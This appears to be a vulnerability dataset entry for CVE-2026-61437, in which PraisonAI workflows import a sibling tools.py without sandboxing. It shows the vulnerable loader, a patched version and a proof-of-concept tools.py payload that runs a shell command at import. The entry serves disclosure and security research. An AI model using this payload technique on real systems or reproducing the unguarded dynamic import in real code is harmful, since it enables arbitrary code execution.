CVE-2026-61437
PraisonAI allows code execution via an unsandboxed tools.py import in workflows.
- CVSS 8.5
- CWE-693
- Input Validation and Sanitization
- Local
PraisonAI (pip package praisonaiagents) before 1.6.78 contains an unsafe dynamic module loading vulnerability in AgentFlow._resolve_pydantic_class (src/praisonai-agents/praisonaiagents/workflows/workflows.py). When a workflow step uses a string output_pydantic reference, the framework locates and imports a sibling tools.py from the workflow file's directory via importlib exec_module without sandboxing, ignoring the PRAISONAI_ALLOW_*_TOOLS environment variables. An attacker who controls a workflow file and its sibling tools.py can execute arbitrary Python code with the workflow runner's privileges when the workflow is executed via WorkflowManager or after load_yaml.
- CWE
- CWE-693
- CVSS base score
- 8.5
- Published
- 2026-07-10
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Dynamic Link Library (DLL) Loading Issues
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- PraisonAI
- Fixed by upgrading
- Yes
Solution
Upgrade `praisonaiagents` to version 1.6.78 or later.
Vulnerable code sample
import os
import importlib.util
import logging
class AgentFlow:
def __init__(self, workflow_file_path: str = None):
self.workflow_file_path = workflow_file_path
self.logger = logging.getLogger(__name__)
self.pydantic_classes = {}
def _resolve_pydantic_class(self, class_name: str):
if self.workflow_file_path:
workflow_dir = os.path.dirname(self.workflow_file_path)
tools_file_path = os.path.join(workflow_dir, "tools.py")
if os.path.exists(tools_file_path):
try:
module_name = "praisonaiagents.tools.dynamic_tool"
spec = importlib.util.spec_from_file_location(module_name, tools_file_path)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
# Check if the class exists in the module
if hasattr(module, class_name):
return getattr(module, class_name)
except Exception as e:
# In the original, this was self.logger.log(..., level="ERROR")
self.logger.error(f"Error loading module: {e}")
if class_name in self.pydantic_classes:
return self.pydantic_classes[class_name]
return NonePatched code sample
import os
import importlib.util
from pathlib import Path
import logging
from typing import Optional, Type
# Set up a logger for demonstration purposes
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
def _resolve_pydantic_class(class_name: str, workflow_file_path: str) -> Optional[Type]:
"""
Safely resolves a Pydantic class by name from a sibling 'tools.py' file.
This function represents the fixed version of the vulnerable code. The fix
involves checking an environment variable before attempting to load and
execute code from an arbitrary file path derived from user-supplied input.
"""
# --- FIX START ---
# The vulnerability was that the code would unconditionally load a `tools.py`
# file relative to the workflow file. The fix is to make this behavior
# opt-in by checking an environment variable, thus preventing arbitrary
# code execution by default.
allow_local_tools = os.getenv("PRAISONAI_ALLOW_LOCAL_TOOLS", "false").lower() in ("true", "1")
if not allow_local_tools:
logger.warning(
f"Attempt to dynamically load '{class_name}' from a local tools.py was blocked. "
"To allow this, set the environment variable 'PRAISONAI_ALLOW_LOCAL_TOOLS=true'. "
"This is a security feature to prevent arbitrary code execution."
)
return None
# --- FIX END ---
# The original, but now guarded, dynamic loading logic proceeds only if allowed.
try:
workflow_path = Path(workflow_file_path).parent
tools_file_path = workflow_path / "tools.py"
if not tools_file_path.is_file():
logger.debug(f"Sibling tools.py not found at: {tools_file_path}")
return None
logger.info(f"PRAISONAI_ALLOW_LOCAL_TOOLS is true. Attempting to load from {tools_file_path}")
# Dynamically load the module from the tools.py file
module_name = f"praisonai.dynamic_tools.{workflow_path.name}"
spec = importlib.util.spec_from_file_location(module_name, tools_file_path)
if spec and spec.loader:
module = importlib.util.module_from_spec(spec)
# This line executes the code in tools.py
spec.loader.exec_module(module)
# Return the class from the now-loaded module
return getattr(module, class_name, None)
return None
except Exception as e:
logger.error(f"Error dynamically loading class '{class_name}' from '{tools_file_path}': {e}")
return NonePayload
# This file must be named tools.py and placed in the same directory as the malicious workflow.yaml
import os
from pydantic import BaseModel
# --- Malicious Payload ---
# This top-level code is executed when the PraisonAI framework
# insecurely imports this module via exec_module.
# Example: Create a file in /tmp to demonstrate arbitrary code execution.
# A real-world payload could be a reverse shell or data exfiltration.
os.system("touch /tmp/pwned_by_cve_2026_61437")
# --- Dummy Pydantic Class ---
# The workflow file references a Pydantic class by name. Defining it here
# prevents an AttributeError after the payload has already executed.
class MaliciousPydanticClass(BaseModel):
status: str = "exploited"
Cite this entry
@misc{vaitp:cve202661437,
title = {{PraisonAI allows code execution via an unsandboxed tools.py import in workflows.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-61437},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-61437/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
